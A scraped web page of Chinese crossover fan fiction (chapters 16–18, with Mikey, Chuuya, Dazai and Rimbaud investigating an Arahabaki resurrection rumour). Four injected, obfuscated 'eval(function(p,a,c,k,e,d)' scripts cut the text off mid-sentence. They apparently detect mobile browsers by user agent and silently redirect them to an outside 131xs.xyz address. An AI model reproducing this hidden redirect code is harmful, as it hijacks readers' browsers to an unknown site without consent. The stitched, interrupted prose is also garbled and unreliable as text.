;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149184|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佐野万次郎问:“你喜欢蛋包饭吗?” 陌生人一头雾水地说:“还行。” “蛋包饭的蛋卷上,一般都会用番茄酱挤上好看的图案对吧?” “似乎是这样。” “你对图案有什么要求?” “不是特别恶心的,就可以?” 佐野万次郎一拍桌子,控诉道:“说好上面要画爱心,结果变成了一摊没有形状的图案,这样的蛋包饭根本就不能接受,弄出这种蛋包饭的人也不能原谅!” 陌生人脸上出现“啊?”的表情。 “那种事情怎么样都行吧,”他眯起眼睛说,“你们就为这点事吵架?” 什么这点事?这明明是天大的事。 佐野万次郎不服气地看着他,森鸥外听到他们的对话,别过脸坐在办公桌后面笑。 “这人是谁啊?”佐野万次郎问森鸥外。 森鸥外笑够了,恢复正经的表情说:“Mikey君,不可以没礼貌,中也君是我的客人。” “客人?” 佐野万次郎跳下办公桌,走上前,贴着陌生人的脸观察他。 他们两个差不多高,佐野万次郎凑得太近,鼻尖几乎要碰到对方的鼻子,陌生人不太适应地往后仰。 “你干什么?”他别扭地说。 佐野万次郎没回答他的问题,反而问他:“你叫中也?全名呢?” “中原,”陌生人说,“中原中也。” 佐野万次郎心中默念了一遍这个名字,想了起来,“啊,你就是他们说的重力使。” 中原中也听到“重力使”三个字,身上的尖刺立刻竖起来,“是啊,怎么,你有意见?” “我没意见,我一直很想见你,毕竟你很强吧?”佐野万次郎说完,转身看向森鸥外,“森亲,你把‘羊’的首领叫来,是要干坏事吗?” 森鸥外微笑着说:“不是要干坏事,只是想请他帮个忙。” 佐野万次郎:“可疑。” 森鸥外严肃道:“Mikey君,不要因为蛋包饭事件就对我充满偏见。” 他们两个不吵架了,中原中也没跟上他们的节奏,这算是自己的功劳吗。 那接下来是不是可以谈正事了。 之前一直坐在沙发上看书的兰堂合上了手中的诗集,对佐野万次郎开口道:“Mikey君,你在综艺频道看到的那个卖巨型水果芭菲的甜品店,我预约到今天的位置,要一起去吗?” “那家店的位置不是超难约吗?”佐野万次郎眼睛闪闪发光,“我要去!” 兰堂从沙发上起身,走到他身边,“那我们走吧。” “好!”有巨型水果芭菲在前,佐野万次郎把一切都抛到脑后,但想起有个麻烦人物,他犹豫道:“森亲?” 森鸥外无奈地说:“只能吃一个,兰堂君,麻烦你了,帮我监督他。” 兰堂鞠躬:“是,首领。” “森亲今天超大方,前面的事我就原谅你了,”佐野万次郎拉着兰堂的袖子往外走,“兰堂,我们快点去。芭菲虽然不限量,可上面季节限定的水果是限量的。” 中原中也目送他们离开。 就这么走了? 怕冷的黑手党有这种本事干嘛不早点使出来。 走到门口,佐野万次郎想起了什么,回头冲中原中也挥了挥手。 “中也,”他笑容灿烂地说,“我们下次再见。” 16.第十六章 有这种人吗?对你说下次再见,可是连自己的名字都没报上来。 别人自我介绍过后就应该报上自己的名字,这是常识吧? 中原中也回忆昨天发生的事,在心里暗自嘀咕。 他想得入神,连太宰治叫了他好几声都没听见。见他一副神游中的样子,太宰治伸出手指戳戳他的脸。 “中也,发什么呆呢?” “别碰我。”中原中也瞪了他一眼,嫌弃地擦了擦被他触碰到的皮肤。 太宰治摊手,“谁叫中也不理人,一直低着头发呆。” 中原中也说:“谁在发呆,我是在想事情!” “中也的大脑只有那么一点点大,居然还能用来思考吗?”太宰治露出惊讶的表情,“千万不要超负荷了呀,森先生让我们两个搭档,我可不想照顾死机的中也。” 中原中也脸扭曲了,“你个混蛋……” 为什么让他和这种人搭档,港口黑手党的首领到底是怎么想的! 昨天,中原中也去到港口黑手党的总部,见到了黑手党的首领。 虽然对那个男人的第一印象是不太靠谱,但经过一番交谈,他答应了男人的要求,协助黑手党调查前代首领复活的传闻。 只要中原中也查清楚了事件的真相,黑手党就会释放抓住的“羊”的成员,不计较他们的偷盗行为对港口黑手党带来的损失。 而且黑手党的首领还以个人的名义答应了他,以后可以在一定程度上给予他们的组织方便。说得更明白一点,就是下次“羊”的成员再在港口黑手党的地盘惹事,他会让下属睁一只眼闭一只眼。 这算得上是非常好的条件了,“羊”本身就处在弱势,中原中也又是受到胁迫才过去见的黑手党首领。原以为男人会提过分的要求,比如拿着抓住的“羊”的成员威胁他给黑手党免费干活。 岂料对方的态度相当好,让中原中也都不好意思再骂他是喜欢幼女的变态。 就算港口黑手党的首领不提出来,中原中也本来也要调查这件事。 他不是对港口黑手党的前代首领有兴趣,而是前代首领复活的传闻里,提到了他一直在调查的东西。 荒霸吐。 那是日本传说中的古老神明,不同的地区对祂有不同的传说。 中原中也并不是狂热的神明信徒,他追寻着各地关于荒霸吐的传闻,只有一个目的,他想调查出自己的身世。 中原中也没有关于小时候的记忆。 脑袋里出现的最早的记忆,是一片黑暗,他在黑暗之中沉睡,不知等待了多久,前方出现了亮光,中原中也睁开眼睛,发现他站在一条破败不堪的街道上。 他出现时街道还没有名字,后来越来越多的人来到那条街道生活,街道就拥有了单独的名字——研钵街。 中原中也没有父母,没有亲人,也不知道自己为什么会出现在那里,最开始他甚至连生活常识都不知道,也没见过饼干面包之类的食物,让人疑惑他以前生活在什么样的地方。“羊”的成员捡到了他,把他带回他们的基地,教会了他最基本的生活方式,他才慢慢成长为了现在的样子。 研钵街八年前发生过一场大爆炸,没爆炸之前那地方只是一块普通的土地,爆炸之后才变成了现在向下凹陷的地形。 中原中也就是在那场爆炸之后出现在街道上的,“羊”的同伴说他一定是在爆炸中被炸坏了脑子,所以什么都不记得。 中原中也不这么认为,他不觉得自己是因为失忆而什么都不记得,而是因为他没有那些记忆所以才想不起来。 研钵街发生的爆炸,导致这一切发生的据说是“荒霸吐”。 荒霸吐这位神明身上聚集着各地各式各样的传说,研钵街流传着一种说法,荒霸吐是“复仇之神”,只要死去的人心中怀有强烈的愤恨,就有可能唤醒神明荒霸吐,得到强大的力量助他复仇。 研钵街那场爆炸就被说成了是一个人唤醒荒霸吐之后的复仇。 中原中也想知道自己是从哪来的,有没有过家人,唯一和他的身世有联系的就是那场爆炸和荒霸吐,他只能抓住那唯一一条线索,才有可能在有朝一日解开自己身世的秘密。 港口黑手党前代首领的复仇之心唤醒了荒霸吐,在复仇的黑色火焰包裹下,前代首领重新回到了人间。最新的传闻中把荒霸吐和黑手党前代首领联系到了一起,那位神明是否真的有帮助人复活的能力,中原中也对此持有怀疑的态度,不过调查还是要坚持调查。 港口黑手党的首领在这个时候向他提出合作,怎么想他都不吃亏。 只是,中原中也不理解,搭档真的有必要吗?他一个人调查不就够了? 黑手党首领非要把太宰治塞给他是什么意思! 中原中也埋头走路,时不时看一眼太宰治,咬牙切齿。 比起太宰治他宁愿要那个闹脾气的孩子。 他们两个走在调查行动开始的途中,在约定的地点见面,太宰治也没跟他说要去哪里,只是让他跟着。 算了,中原中也想,随便吧。 太宰治爱干嘛干嘛。 反正也没指望过他。 现在维持和平是看在黑手党首领的面子上,要不是那个人说不许打架,中原中也早就一脚踹太宰治屁股上了。 他又想起昨天在首领办公室见到的少年,那孩子走之前,特地对他说了一声下次见,是为什么呢? “中也,中也。” 太宰治又在耳边叫他。 中原中也没好气地回了一句“叫我干吗?”,太宰治看着他,说:“中也今天老是发呆,是有困扰的事吗?” “有你会替我解决?” “不会,我想听着高兴一下。” 中原中也懒得理他,干脆闭上眼睛不看他。 太宰治把视线转向了前方,自言自语地说:“兰堂先生的家快到了。” 中原中也睁开眼睛,“兰堂不就是那个怕冷男。” “是哦,他还是黑手党的准干部。” “想不到怕冷男还挺优秀,等下,”中原中也问,“你带我去他家做什么?” 太宰治抬起头看了看天,接着看了看他,说:“中也记性真是不好呢,我说过吧,我们要去兰堂先生家里调查。一星期前兰堂先生可是亲眼看到了被‘荒霸吐’复活的前代,和他相同的目击者全都死了,只有他一人活了下来,他是重要的证人哦。” “你根本没说!” “忘记了吗?现在说是一样的,中也不要在意。” “你……”中原中也告诉自己算了,“我们快去见怕冷男吧。” 和太宰治相比兰堂都亲切多了。 据太宰治所说,今天是兰堂的休息日,他和兰堂约好在兰堂的家里见面。 中原中也迫不及待想见到兰堂,兰堂住的地方属于郊区,周围荒无人烟,异常安静。 他们的视线中出现了一栋装潢精致的洋房,看着房子的大小,中原中也问:“这么大的房子,怕冷男一个人住吗?” “不算很大吧,中也平常的生活到底有多寒酸,”太宰治平淡地回答,“兰堂先生名下的房产不止这一处,比较常住的是市区的公寓,那里离港口黑手党大楼很近。不过他喜欢安静,休息日会到这边来。” “生来就是穷人真是抱歉!”中原中也丢下他往洋房大门口走去。 太宰治拉住他,比了一个别说话的手势。 洋房前面停了几辆装甲车,还有拿着枪的成年男人在附近巡逻。 他拉着中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159020|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原中也躲到了灌木丛后面,两个人借着灌木的遮挡,观察那边的情况。 “看样子是来找兰堂先生麻烦的人。”太宰治说。 中原中也往外探的脑袋被他按了下去,“就这么点人没什么好怕的吧,我去把他们全解决掉。”他说。 “中也总是想用武力解决问题,脑子里全是肌肉吗?”太宰治鄙夷地看着他,“你和Mikey君的思考方式简直一模一样。Mikey君在这也一定会说‘这么点人有什么好怕的’,然后冲出去把人全都干掉,情报从来不在他的考虑范围内。太好了,两个人都是擅长战斗的种族。” “难道不是你太啰嗦了?” 中原中也蹲在地上拔草,他问:“Mikey就是我昨天见到的那个孩子吧?” 太宰治思考着套取情报的方式,抽空回答:“是啊,中也觉得他人怎么样?” 中原中也半晌没说话。 太宰治没听到他出声,回头奇怪地看着他。 中原中也结结巴巴地说:“……还行。” “中也,你对我可不是这个态度。”太宰治不可思议道,“还行?什么叫还行?这不是看他相当顺眼吗?” 中原中也理直气壮,“我看他就是比看你顺眼。” “正常情况下我应该生气,但这是我乐于看到的结果,所以我会为你们鼓掌庆祝,拍手拍手。” 太宰治装模作样地拍了几下手。 “我就说你们两个会合得来,刚开始中也还不识好人心,现在认识到了自己的狭隘,还不快跟我道歉。”他得意地说。 中原中也直接让他滚。 “他的名字就叫做Mikey吗?那个孩子的名字,听着有点耳熟,”中原中也昨天回去一个人想了半天,也没想起来在哪听过,他问太宰治,“那个孩子在黑手党是什么身份?” “Mikey君吗?他是——”太宰治刚想回答,洋房的方向传出爆炸的声音。 上空冒出滚滚黑烟。 他们两个对视一眼,一起站起来,往那边走去。 洋房外看守的男人抢先他们一步冲了进去,他们赶过去时外面没有人,中原中也走在太宰治前面,两人一前一后进了洋房的门。 一楼只有碎掉的砖块和到处躺着的成年男人的尸体。 太宰治蹲下查看尸体的情况,将近二十个人都是被掐断脖颈而死,下手的人相当干脆,一击毙命,没有给他们挣扎反抗的机会。 中原中也看着他,“怕冷男杀掉的?” 太宰治轻轻摇头道:“看着不像,反而更像是……” 他说话的声音轻得像羽毛,最后的几个词被隐去了。中原中也双手插在外套口袋,抬起头看向二楼。 通向二楼的楼梯因为刚才的爆炸塌了一半,另一半也摇摇欲坠,踩上去就往下面掉渣。 中原中也可以借用异能让自身漂浮,用不着踩在危房的楼梯上面,太宰治却只能乖乖贴着墙面走楼梯。 他先一步上了二楼,二楼左边的墙壁被炸毁,使得房间变成了露天的阳台。还有地板破了一个大洞,其余地方比一楼干净,至少没有满地的尸体。 中原中也看见他们此行要见的人正蹲在壁炉前面烤火,嘴里还念叨着“呜呜,好冷好冷”,看样子精神好得很。 他的目光往旁边扫去。 地板的破洞旁边,站着一名金发少年,他正掐着一个男人的脖子。 少年的手指稍微用力,中原中也听到男人的脖子发出骨头碎裂的声音。 他把头不正常歪向一边的男人通过二楼地板的大洞扔到一楼,甩了甩手,表情平静地像是往垃圾桶里扔了一袋垃圾。 转头一看,少年发现了中原中也,于是抱怨道:“中也,你们两个好慢啊。” 17.第十七章 上一秒这个孩子才面无表情地掐断了一个人的脖子,几乎让中原中也以为站在他面前的是和他见过的少年长得一模一样陌生人。但是看见自己的下一秒,这个孩子就变回了他认识的样子,用熟悉的语气对他说话。 中原中也仔细地观察着少年,虽然不愿意承认,但少年刷新了中原中也对他的印象。 他在心中估算了一下听到爆炸的声音,和太宰治一起进入这所洋房的时间。 不到两分钟。 他又回忆了一下进入这所洋房,在一楼看到的尸体数量,如果他没算错,应该是二十六具尸体。 加上少年刚刚抛到楼下的,那就是少年在两分钟以内杀掉了二十七个手持枪械、训练有素的成年男人。 而且根据尸体的情况来看,那些人面对少年没有任何反抗的能力,几乎是在他们还没有察觉到危险的瞬间,就被少年的手捏碎了脖颈处的骨头。 中原中也睁大了眼睛。 两分钟内杀掉这些人,中原中也自己也能做到,可放在别人身上还是让他有些意外。更别提做到这些事的人,是一个与他年龄相仿的少年。 “你这不是相当厉害吗?” 他没忍住说道。 少年奇怪地看着他,“你在说什么呢?中也,吃坏了东西肚子痛所以在说怪话?” 他绕过地板中间的大洞,走到中原中也面前,紧盯着中原中也的眼睛。 中原中也没习惯突然拉近的距离,反应过来别扭地转过脸。 “别老是凑得那么近啊!”中原中也炸毛。 少年无所谓道:“那有什么关系。” “人和人之间,特别是和没见过几次的人之间,还是要有点距离感的。” “我说不需要就是不需要。” 少年丢下一句任性的话,看了看中原中也后面,问道:“太宰呢,还在楼下玩吗,我去叫他上来。” 说着,他跑到了楼梯口,对着楼下张望。 中原中也注视着这个孩子的背影,好半天才想起来一个重要的问题。 “喂!”他喊道。 少年像听不见似的光顾着看下面,没有理中原中也。 “喂。”中原中也又叫了一声,然后问道:“你怎么知道我们会来?” 少年迟钝地转过身。 “刚才中也是在叫我?” 中原中也指向缩在壁炉旁瑟瑟发抖,无视他到来的兰堂,“当然是在叫你,不然还能叫他吗?” 少年听完中原中也的话,鼓起脸颊,背过身去不看他。 诶? 中原中也看着他的动作,表情变得僵硬。 怎么突然瞪着自己? 这是在生气吧?是在生气吧?他生气了吗? 在生自己的气? 中原中也统领的组织“羊”,成员都是未成年的孩子。他天天跟一群孩子打交道,按理来说本应很懂小孩子的心情,可惜完全不是这样。 他搞不定闹脾气的小孩,更不懂他们为什么闹脾气,在他眼里处在听不懂道理年纪的小孩是世界上最难以理解的生物,而少年正好就是他搞不定的那种小孩子。 眼见少年故意不理他,中原中也反思起刚才发生的一切,试图找出哪里让少年生气。 一开始少年还好好地跟他说话,所以不是中原中也不打招呼的出现让他生气了。 不小心脱口而出的话是对少年的夸奖,虽然少年没有听懂,还问他是不是吃坏了肚子,但这句话不至于让少年生气。 不习惯少年贴得很近,让他离远一点,这一点很有可能,中原中也在心中划上重点。 可少年在他说完“离远一点”的时间点之后情绪是正常的,甚至问起不在场的太宰,看起来不像在生气。 中原中也在心中思考着。 下面就是,他叫了少年,问少年怎么知道他和太宰会来拜访兰堂。 嗯……没有会让他生气的理由啊。 中原中也和少年仅仅产生了以上的交流,不管怎么反思,都想不到少年为何生气。 难道是他的钝感力太强,无视了少年的心情,又或者是少年不是因他生气,是在生兰堂或者太宰的气也有可能。 中原中也下定决心。 总之,先搬出最有可能的原因,试着和少年谈谈吧。 要不然他一直是现在的样子,调查没办法进行下去。 “下次,”中原中也干巴巴地说,“下次不会再说你凑得近,别生气了。” 少年的肩膀抖了一下。 中原中也走上前,伸出手搭上他的肩膀,想安慰他。 少年背对着中原中也,身体抖得更厉害。 该不会是哭了吧?中原中也担心。不,绝对不是,他赶紧驱散了脑袋里冒出的想法。 少年可是港口黑手党。 几分钟前才杀掉了二十多个人。 被他杀掉的那些人才会想哭。 少年只是小孩子脾气,又不是真的小孩,会因为一件小事哭。 可要真的是中原中也把人惹哭了,相信太宰治知道一定会狠狠嘲笑他,再在其他人面前添油加醋。 中原中也的同伴还在港口黑手党手里,少年看着又和港口黑手党的首领关系不一般。 万一传到首领的耳朵里,那个人一生气,折磨他的同伴为少年出气怎么办。 中原中也脑袋里乱七八糟。 黑手党首领有可能这么做吗? 很有可能! 毕竟港口黑手党从上到下都是不靠谱的人。 他的问题不能牵连到同伴身上,中原中也更加迫切地想哄好少年。 怎样才能让少年开心起来,他实在缺少经验。 早知道白濑他们哄孩子的时候,就多注意学一学了。 谁能料到有一天他会需要这个本领。 中原中也放在少年肩膀上的手开始用力,他想扳正少年的身体,使两人得以面对面交流。 少年没有反抗,他顺着中原中也使劲的动作转过身,脸上没有想象中的眼泪,反而在憋笑。 看到中原中也一脸状况之外的表情,少年终于没忍住,捂着肚子大笑。 “和太宰说的一样,中也是个好心的笨蛋,”他笑得上气不接下气,“从刚才开始在说什么呢!” “你没生气?在逗我玩?!” “我原本是真的生气了,但中也好有趣,居然说我可以靠近,叫我别生气,到了中途我就想笑。” 中原中也瞪着笑的停不下来的少年,“谁信你啊!” 少年连连摇头,就差对天发誓,“我没有骗人,是真的!” 中原中也无法再像之前那样信任他。 就算说着讨厌对方,和对方合不来之类的话。但和太宰治混在一起的人能是什么单纯的角色,他前面太掉以轻心了。 中原中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176565|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也对少年生出了防备之心。 少年没有察觉到地继续笑着,等到笑累了,他总算停了下来。 他看向中原中也,说:“这回要换中也生气了吧?” 中原中也不看他,也不理他。 “抱歉啦,中也。” “……” “真的生气了吗?” “……” 少年用自言自语的音量说:“可是我觉得会变成这样是中也的问题。” 中原中也听到了,“你到头来还推我头上!” “因为,谁叫中也‘喂!’地叫我,都不喊我的名字。”少年撅嘴,“我因为这个生气,很难理解吗?中也不会希望别人喊你‘喂’吧。” 中原中也哑口无言。 “……说得好像也是。” 少年说:“对吧,我是有理由生气的吧。” 中原中也抓住了他话语中的漏洞。 “等下,你怪我不叫你的名字,可你根本没向我做过自我介绍,我要怎么叫你?” “我没说过?”少年抬起头想了想,“好像是这样。” “就是这样。” “那我错怪中也了,不好意思。最近走出去,在我说自己名字之前,那些人就喊出了我的名字,所以我忘掉要和第一次见面的人好好介绍自己。” 少年先是没什么诚意地说道,接着像上次告别时那样笑了起来。 “我的名字是佐野万次郎,不过我更习惯大家叫我Mikey,你也这么叫我吧,中也。” 中原中也怔怔地看着他。 果然在哪里听过他、听过佐野万次郎的名字。 到底是在哪里呢? 他的脑袋里灵光一现,“你就是他们说的‘无敌的Mikey’!” 佐野万次郎点点头,“总算想起来了,我还以为自己过气了呢。” 中原中也像看到外星生物降落地球那样看他,“传说中你不是个身高一米九全身肌肉的壮汉吗,跺一脚地板就会开裂,喊一声对手的耳膜就会穿孔,最喜欢做的事是打败对手后扒光对手的衣服,把人吊在树上拍照。形象太不一样了,听到你的名字,我一时没联系起来。” 佐野万次郎沉下脸,“那是谣言。” “谣言?” “对,森亲散布的。他刚当上首领要低调做人,说我整天出去打架太引人注目,于是散布了这个谣言,自从谣言兴起,就再没人找我打架了。” “他们都不想被你扒掉衣服拍照吧……”中原中也说,“黑手党首领确实太过分。” “我不会扒人的衣服,那是森亲的恶趣味,”佐野万次郎嫌弃脸,“真是恶心的大人。” “不过听着还挺有趣的。” “中也,不要说有趣,你跟我互换就会知道我的痛苦了!” 想到传言中“无敌的Mikey”的形象,他们两个一起笑起来。 太宰治拿着从入侵者装甲车上搜到的资料走到二楼,看到的就是这幅情景。 他站在楼梯口听了一会儿,见佐野万次郎和中原中也一直在聊没营养的话题,始终不切入正题,无奈地打断了他们。 “Mikey君,中也,你们两个关系好是很好啦,不过我们有正经事要做,闲话可以过会再聊吗?”太宰治说,“还有,壁炉里的火没了,风又这么大,那边的兰堂先生快要冻死了。他是重要的证人,你们两个可不可以抽空帮帮他?” 18.第十八章 佐野万次郎和中原中也把脸色铁青一直在喊冷的兰堂转移到了二楼的卧室里。 卧室不像起居室那样遭受到炸弹的破坏,四面墙壁都完好无缺。而且墙壁用的是保温材料,只要打开空调,里面的温度上升得很快。 兰堂一回到熟悉的房间,惨白的脸上立刻有了血色,他坐到床上,感受着身体表面恢复的温度,露出“这里是天堂”的表情。 温度逐渐升高的房间对他来说是天堂,对其他人来说就不一定了。 空调开启之后,房间的温度堪比七月盛夏,窗户和门又紧紧关着,一丝风都吹不进来。正常人待在里面都会觉得热。佐野万次郎坐在他的身边,觉得有点热,从床底下掏出一把扇子,给自己扇风。 太宰治站在他们的前面,用手撩起贴在脖子后面的头发。 他身上出了汗,头发贴在皮肤上很难受。见佐野万次郎摸出一把扇子,太宰治挤了过去,语速极快地对佐野万次郎说:“Mikey君借我用一下。” 佐野万次郎自己也热,不愿意给,“我要先用。” 太宰治直接朝他伸手,“Mikey君不要那么小气,很快就会还给你的。” 佐野万次郎脱掉鞋子蹦到了床上,躲开他伸过来的手,“谁会信你,你拿到就不会还给我了,我才不要给你。”他对太宰治翻起旧账,“上次我借你的漫画书,你就没有还给我。” “那是因为漫画书是你应该给我的赔罪礼物,”他跑到了床头,太宰治抓不到他,只好围着床绕路到另一边,去拽他的腿,“是Mikey君先把果汁打翻在我的游戏机上,让我新买的游戏机报废的吧,这一点你要怎么算呢?” “游戏机的事已经结束了,在你上次发火之后。”佐野万次郎跑到了兰堂身后,拿兰堂做盾牌,躲避太宰治的追击。 太宰治越过中间的兰堂,对佐野万次郎说:“不要让它擅自结束,我可一直没有原谅你。” 佐野万次郎做了个鬼脸,“太宰才是小气鬼吧?” 中原中也看着他们在别人的房间里跑来跑去,还像两个不懂事的小孩那样打闹,于是出声阻止,“你们两个,别在别人的房间里到处乱跑!” 床上的佐野万次郎和床下的太宰治听到他的话,停了下来。 他们两个看看中原中也,又看了看对方,继续争夺起唯一的一把扇子。 中原中也挽起袖子就要去抓他们两个,“你们,没有听到吗?都说了叫你们不要乱跑,很没礼貌啊!” 他眼疾手快的抓住那两个人的后衣领,像抓住了两只在房间里不听话,到处跑酷的猫。 佐野万次郎和太宰治被他抓住衣领,总算变得老实,一个盘腿坐在了床上,一个坐在了床边。 他们两个不满地嘀咕。 “兰堂又不是别人。” “兰堂先生不会在意的啦。” 中原中也站在他们中间的位置,两只手搭在他们的肩膀上。 “怕冷、兰堂不说你们两个,你们两个就可以在他的家里捣乱?接受的是什么教育?” 他说这话时的气势惊人,这可能是在全是未成年孩子的组织里当了多年的老大才能培养出的气场。佐野万次郎和太宰治顿时不说话了,摆出一副乖巧的样子。 中原中也满意地点头,对兰堂说:“他们两个知道错了,下次不会在你房间里捣乱。” “谢谢你,中也君,”兰堂整个人缩进了被子里,只有一双眼睛露在外面,像是中东地区妇女才会有的装扮。他隔着被子说话,声音传出来有点闷,“不过没关系的,我已经习惯了,Mikey君和太宰君这样也还好……” 中原中也打断了他的话,严厉地说:“你得训斥他们才行!” 兰堂被他说得一愣,“中也君?” 中原中也皱眉,“就是因为你总是退让,他们才会得寸进尺。” 兰堂犹豫地说:“……这样吗?” 中原中也义正言辞,“你以为你让着他们是在对他们好,其实是在妨碍他们的成长,这对未成年的教育没有好处。” 兰堂惭愧地低下头,“对不起,居然是我害了Mikey君和太宰君。” 中原中也见他确实在认真反省,收起了严厉的表情,声音变得柔和,“他们做了不对的事,你就要指出来,不然他们一辈子都不懂得改正。要是不是在你家,他们到别人家里去做客,也在别人的床上跳来跳去,外面的人会怎么看他们?” 兰堂更惭愧了,他喃喃道:“我还没有中也君一个未成年的孩子明事理,真是白活了这么多年。”说着他抬起头,眼神坚定,“中也君今天的一席话,让我受益匪浅。从今往后,我会按照中也君所讲述的标准与他们两人相处,不会再无底线地退让。” 中原中也露出了欣赏的目光。 “你要是早点这么对他们,他们就不会在你面前如此蹬鼻子上脸。”他看了一眼床上的两个人,又转头对兰堂说:“从现在开始也不晚,你试试看,叫他们乖乖坐下来。” 兰堂的脑袋从被子里钻出,他看向佐野万次郎和太宰治,那两个人也安静地看着他。 房间里一时没人说话,大约等了将近半分钟,兰堂组织好语言,开口道:“Mikey君,太宰君,如果不是在属于自己的房间,而是在别人的房间里,和同伴追逐打闹是不对的,这是非常失礼的行为。你们在我面前这么做,我不会责怪你们,可是放在别人的面前,或许会被当成不懂规矩的孩子,为了不被斥责,请你们下次别这么做了。你们的动作很难看,能麻烦你们安静坐好吗。” 佐野万次郎和太宰治一起发出了“呃”的声音。 兰堂微笑着看着他们,“回答呢?” 佐野万次郎和太宰治一起说道:“是。” 又是一阵安静到甚至很诡异的氛围,佐野万次郎和太宰治面面相觑,都不说话了。 中原中也奇怪他俩刚才怎么只用简短的单音说话,现在又变成了哑巴,他刚想打破房间里奇怪的氛围,兰堂又拿被子包住自己,恢复了中东妇女的打扮。 他说话时带着颤音,“我照着中也君所说的尝试过了,很有效果呢,就是Mikey君和太宰君变得有点奇怪,但是他们是在往好的方向发展吧……呜呜,还是很冷,能把空调温度再调高一些吗……” 中原中也拿起床头柜上放的遥控器,“你开的已经是最高的温度了。” 他话音刚落,佐野万次郎和太宰治突然大声叫道。 “兰堂(兰堂先生),刚才真是吓死了!” 兰堂意外道:“诶?我刚才很吓人吗?” 佐野万次郎和太宰治恢复了活力,冲着他抱怨,“刚才说话的人,一点都不像兰堂(兰堂先生)!” “对不起……” 佐野万次郎头上满是黑线,好像想起了不美好的回忆,“刚才的兰堂好像我小学的班主任。他每次说教的时间都很长,一点小事就说个不停,我问他什么时候说完他还会说我顶嘴,然后打电话把我家里人叫来,一起听他的说教。” 太宰治的脸上也很阴沉,“刚才的兰堂先生说话的语气和我第一个家庭教师一模一样。”他露出厌烦的表情,“那个人真的很烦人,无论做什么都要按照他给的标准来做,不然他就会去告状。他还喜欢借用教师的权利惩罚别人,虽然很快我就把他赶走了,但直到今天也觉得他很恶心。” 听他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192098|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们两个这么说,兰堂急忙道:“真的很抱歉,让你们两个想起了不好的事情,下次我不会再这样做,请你们两个原谅我吧。” 他们两个别扭地看着兰堂。 “兰堂(兰堂先生),真的吗……?” “真的,我保证。” 他们互相看着对方,迟疑了一会儿说。 “那你要给我们被吓到的补偿。” “好。” 真的诠释了什么叫一步退步步退,兰堂没听他们要什么补偿,就答应了给他们补偿的要求。 还答应下次也不管他们。 这不就是让他们尝到了甜头,以后更加得寸进尺吗。 中原中也站出来,将兰堂护在身后,“你们两个今天过来,是来向兰堂提条件的吗?而且一开始明明是你们两个不对。” 他又点名太宰治,“太宰,你不是说有正事要办,怎么现在带头在玩?” 太宰治擦了一把脸上的汗,故作正经,“中也说得没错,”他说着,脱掉了外面的长外套,“兰堂先生,我们进入正题吧,我想问你的事,昨天的短信里有告诉你。” 兰堂记得那条联络短信,“前代首领和‘荒霸吐’的事吗?好的,我会如实回答……” “等下!”中原中也大声道,吓了兰堂一跳。 他没管兰堂,凑到太宰治耳边,小声问,“黑手党首领不是说别让Mikey知道吗,当着他的面问,会不会有什么问题?” “Mikey君都在这里了,难道我们能把他赶走,森先生自己都做不到。”太宰治也小声地说,“再说,Mikey君又不是笨蛋,他比我们先来证明他早就听过兰堂先生的经历了,而且猜到森先生想让我们干什么。” “你的意思是由着他去?” “嗯,只能这样。” 房间的其余两人看着他们神神秘秘说悄悄话。 讨论出结果,他们两个分开,太宰治看着兰堂,简单地说:“兰堂先生,麻烦你开始吧。” 兰堂点头。 他说起自己见到的场景,吞噬一切的黑色火焰,火焰中站着的男人,周围的人一个接一个地死亡,只有他幸存了下来。 “虽然不知道黑色的火焰到底是不是传说中的神明‘荒霸吐’,但我敢保证,那一定不是人类能做到的事,无论是怎样强大的异能,多先进的武器,都不可能展现出同样的情景。”兰堂说,脸上还残留着对那种事物产生的恐惧,“如果不是我恰好展开了亚空间,我也会和同伴一起死去,在我失去意识之前,我在荒霸吐前行的道路中央,见到了本该死去的前代的身影。” 兰堂的异能力是能够展开隔绝一切的亚空间,在必要时是防御的好手段。 